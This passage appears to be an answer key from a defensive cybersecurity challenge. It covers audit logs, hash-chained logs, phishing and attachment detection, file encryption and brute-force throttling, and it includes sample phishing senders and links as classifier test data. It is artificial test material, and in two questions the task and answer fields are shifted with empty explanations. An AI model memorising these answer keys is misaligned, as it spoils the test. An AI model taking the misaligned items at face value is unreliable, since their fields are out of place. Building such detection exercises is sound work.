Category: Audit Logging & Forensic Readiness | Difficulty: Moderate → Hard (8.0/10)

**Evidence / Context:**

Construct a standard 4-line structured audit record generated following the rejection of an unauthorized permission update.

**Challenge Task:** Provide an example formatted audit log block capturing the interception event.

**Expected Answer:** ```text

[2026-08-30 01:12:04 UTC] [ALERT-AUTH-09] SEVERITY=HIGH

ACTOR: unverified\_service (PID: 4412) | ACTION: POLICY\_UPDATE

TARGET: /system/policies/master\_code.conf | ATTEMPT: +ANALYST

DECISION: BLOCKED | INTEGRITY\_CHECK: FAILED

```

Explanation & Workings: Audit records must be clear, timestamped, machine-parseable, and self-contained for compliance and forensic analysis.

QUESTION 7: Cryptographic Hash-Chaining for Logs

Category: Log Tamper-Resistance & Cryptography | Difficulty: Hard (8.5/10)

Evidence / Context:

To prevent attackers from wiping audit logs (as seen in Stage 2's Event ID 1102), design a hash-chaining mechanism for sequential log entries.

Challenge Task: Explain how each log entry's hash is computed using its own data and the previous entry's hash.

Expected Answer: `Current_Entry_Hash = SHA256(Previous_Entry_Hash + Timestamp + Event_Data + Nonce)`

Explanation & Workings: Hash-chaining ensures that if an attacker modifies or deletes any historical log entry, subsequent cryptographic hashes fail validation immediately.

QUESTION 8: Phishing Email Heuristic Engine: Domain Parser

Category: Phishing Detection Engine (Option A) | Difficulty: Moderate (7.5/10)

Evidence / Context:

Build a heuristic domain inspection rule to evaluate sender email addresses.

Challenge Task: Given the test sender `admin@cornpany.com`, what algorithmic checks should the engine execute to flag the domain as suspicious?

Expected Answer: 1. Homoglyph / Levenshtein Distance Check against legitimate domain (`company.com` vs `cornpany.com` -> distance = 2 or visual similarity index > 0.85).

2. MX / SPF / DKIM record validation.

Explanation & Workings: String similarity metrics combined with visual homoglyph substitution tables reliably detect typosquatting.

QUESTION 9: URL & Protocol Risk Validator

Category: Network Security & Heuristics | Difficulty: Moderate (7.5/10)

Evidence / Context:

The phishing detection engine inspects an embedded email hyperlink: `http://cornpany.com/login`.

Challenge Task: List three distinct risk scoring penalties the heuristic validator should apply to this URL.

Expected Answer: 1. Protocol Penalty: Use of unencrypted HTTP for credential authentication (+30 risk points).

2. Domain Mismatch Penalty: Typosquatted domain destination (+40 risk points).

3. High-Risk Keyword in Path: `/login` endpoint (+20 risk points).

Total Risk Score = 90/100 -> Flagged as PHISHING.

Explanation & Workings: Compound heuristic scoring allows email security gateways to classify malicious links accurately without static signature reliance.

QUESTION 10: Malicious Attachment Triage Rule

Category: Attachment Filtering & Content Disarm | Difficulty: Moderate → Hard (8.0/10)

Evidence / Context:

An email arrives containing an attachment `Report.pdf.exe`.

Challenge Task: Describe the file parsing algorithm the prototype must execute to prevent the user from launching the executable.

Expected Answer: 1. Extract true extension by checking the terminal suffix and verify file header magic bytes (`MZ` = executable).

2. Detect double extension pattern (`.pdf.exe`).

3. Quarantine file and mark email with `ATTACHMENT\_RISK\_CRITICAL`.

Explanation & Workings: Inspecting magic numbers directly prevents attackers from disguising PE executables under document icons.

QUESTION 11: Phishing Classifier Validation Dataset

Category: Test Suite & Verification (Option A) | Difficulty: Hard (8.5/10)

Evidence / Context:

Evaluate the prototype classifier across the official 5-email benchmark dataset:

- Email 1: `admin@company.com` | Subject: 'Monthly Newsletter' | Link: `https://company.com/news`
- Email 2: `security@microsoft-verify.com` | Subject: 'Account Locked' | Link: `http://microsoft-verify.com`
- Email 3: `hr@company.com` | Subject: 'Policy Update' | Link: `https://company.com/hr`
- Email 4: `support@paypa1.com` | Subject: 'Unauthorized Login' | Link: `http://paypa1.com/fix`
- Email 5: `dev@internal.corp` | Subject: 'Build Complete' | Link: `https://internal.corp/ci`

Challenge Task: Provide the expected binary classification (`SAFE` vs `PHISHING`) for each email in the benchmark test suite.

Expected Answer: • Email 1: SAFE

- Email 2: PHISHING
- Email 3: SAFE
- Email 4: PHISHING
- Email 5: SAFE

Target Benchmark Accuracy: 5/5 (100%).

Explanation & Workings: A correctly tuned classifier flags emails 2 and 4 due to typosquatting, insecure protocols, and urgent psychological triggers while allowing legitimate internal traffic.

QUESTION 12: Symmetric File Encryption Implementation

Category: Applied Cryptography (Option B) | Difficulty: Moderate (7.5/10)

Evidence / Context:

Implement a secure symmetric file encryption utility using standard cryptographic primitives (e.g. AES-256-GCM / CBC with PKCS7 padding or Fernet).

Challenge Task: What two cryptographic parameters must be uniquely generated for every encryption run to prevent replay and ciphertext analysis?

Expected Answer: 1. Cryptographic Initialization Vector (IV) or Nonce (12 to 16 random bytes).

2. Cryptographic Salt (for PBKDF2 / Argon2 key derivation from user passwords).

Explanation & Workings: Reusing static IVs across encryptions destroys the confidentiality of block ciphers like AES, enabling pattern extraction.

QUESTION 13: Authenticated Decryption & Passphrase Verification

Category: Cryptographic Error Handling (Option B) | Difficulty: Moderate → Hard (8.0/10)

Evidence / Context:

When a user enters a passphrase to decrypt `confidential.txt.enc`, how should the application handle an incorrect password

attempt?

Challenge Task: The application must catch authentication/HMAC verification failure (or padding error), immediately terminate decryption without writing partial plaintext to disk, and display 'Decryption Failed: Invalid Key/Passphrase'.

Expected Answer: Preventing partial plaintext leakage on failure protects confidential buffers from memory extraction attacks.

Explanation & Workings:

QUESTION 14: Plaintext Leakage Prevention & Sanitization

Category: Memory & Storage Security (Option B) | Difficulty: Hard (8.5/10)

Evidence / Context:

The target file `confidential.txt` contains sensitive data: `SERVER PASSWORD: 4821`. After running the encryption routine, what verification test must pass?

Challenge Task: Hexadecimal/string search on the encrypted file (`confidential.txt.enc`) must show ZERO occurrences of 'SERVER', 'PASSWORD', or '4821'. The ciphertext must exhibit high Shannon entropy (~8.0).

Expected Answer: High entropy and zero string matches confirm that proper diffusion and confusion algorithms (AES) were applied.

Explanation & Workings:

QUESTION 15: Batch Multi-File Processing Engine

Category: Utility Architecture & Robustness | Difficulty: Hard (8.5/10)

Evidence / Context:

The encryption engine must process arbitrary file batches without corruption: `employee\_data.txt`, `system\_config.txt`, `incident\_report.txt`, and `master\_code.txt`.

Challenge Task: State the required file integrity verification method to ensure decrypted files match the exact original bitstream.

Expected Answer: Compute and verify the SHA-256 checksum of the original file against the SHA-256 checksum of the decrypted output (`assert sha256(orig) == sha256(decrypted)`).

Explanation & Workings: Cryptographic hash comparison guarantees that no byte truncation or padding corruption occurred during cipher processing.

QUESTION 16: Hidden Validation: Role-Policy Injection Edge Case

Category: Automated Live Validation & Adversarial Testing | Difficulty: Hard → Advanced (9.0/10)

Evidence / Context:

Adversarial Test Case:

- Current Role: `ANALYST`
- Requested Resource: `CONFIDENTIAL\_REPORT`
- Current Policy: `ADMIN ONLY`
- Injected Request: Add `ANALYST` role permissions
- Request Actor: `UNVERIFIED\_DAEMON`

Challenge Task: What three mandatory outputs must the running prototype produce during live test execution?

Expected Answer: 1. Access Output: ACCESS DENIED

2. Policy Action: UNAUTHORIZED CHANGE BLOCKED / DETECTED

3. Telemetry: SECURITY_EVENT_LOGGED with audit alert ID.

Explanation & Workings: This hidden validation checks whether the prototype maintains policy integrity when an active user request coincides with an unauthorized injection attempt.

QUESTION 17: Hidden Validation: Zero-Day Phishing Heuristic Test

Category: Zero-Day Adversarial Evaluation | Difficulty: Hard → Advanced (9.0/10)

Evidence / Context:

A zero-day email payload is presented to the engine:

- From: `admin@company.com` (Spoofed display name with underlying envelope: `mailer@external-relays.ru`)
- Subject: 'Mandatory Compliance Review'
- Attachment: `Compliance\_Form.zip` containing `execute.vbs`

Challenge Task: How must the prototype classify this communication and what specific risk factors must it highlight?

Expected Answer: Classification: PHISHING / MALICIOUS | Risk Factors: Envelope-from vs Header-from mismatch (Sender Spoofing); Executable VBS script inside archive.

Explanation & Workings: Testing for envelope address mismatch and archive script payloads verifies that the classifier does not rely solely on simple domain string checks.

QUESTION 18: Rate Limiting & Anti-Brute-Force Layer

Category: Application Security & Defense-in-Depth | Difficulty: Hard (8.5/10)

Evidence / Context:

An attacker attempts to brute-force the decryption passphrase or admin authentication endpoint.

Challenge Task: Describe the rate-limiting and temporary account/key lockout mechanism the prototype should implement.

Expected Answer: Implement exponential backoff or lock the endpoint for 300 seconds after 3 consecutive failed attempts, recording the offending IP/user in the alert log.

Explanation & Workings: Throttling prevents automated dictionary and brute-force attacks against cryptographic keys.

QUESTION 19: Master Terminal API Integration & Token Dispatch

Category: System Integration & Finale Handoff | Difficulty: Advanced (9.5/10)

Evidence / Context:

Upon successfully passing all automated validation test cases (strict RBAC, drift detection, audit logging, and payload defense), the prototype communicates with the Master Terminal API.

Challenge Task: What standardized event payload is dispatched to retrieve the final completion token?

Expected Answer: ``json

```
{
  "stage": 3,
  "status": "VERIFIED",
  "tests_passed": "20/20",
  "integrity_hash": "a8f5c...",
  "action": "EMIT_FINAL_UNLOCK_TOKEN"
}
```

Explanation & Workings: The emitted token connects Stage 3 directly into the Master Terminal Finale sequence.

Generated Clue / Token Fragment: [FINAL-PROTOTYPE-AUTH-OK]

QUESTION 20: Comprehensive System Verification & Integration Test Suite

Category: Full Pipeline Quality & Security Assurance | **Difficulty:** Advanced (10.0/10)

Evidence / Context:

Design an automated test runner script (`run\_all\_tests.py`) that validates the complete system lifecycle:

1. Stage 1 Key Validation
2. Stage 2 Case Integrity Assertion
3. Stage 3 Defensive Prototype Functionality

Challenge Task: What criteria constitute an unequivocal 100/100 score in the Master Terminal evaluation?

Expected Answer: 1. 100% test pass rate across all hidden cases.

2. Zero unhandled exceptions or security bypasses.

3. Verified structured audit log generation with cryptographic integrity.

Explanation & Workings: A unified test suite provides verifiable evidence that the solution is resilient, correct, and fully addresses the root vulnerabilities discovered throughout the hunt.

Generated Clue / Token Fragment: [MISSION_ACCOMPLISHED_2026]

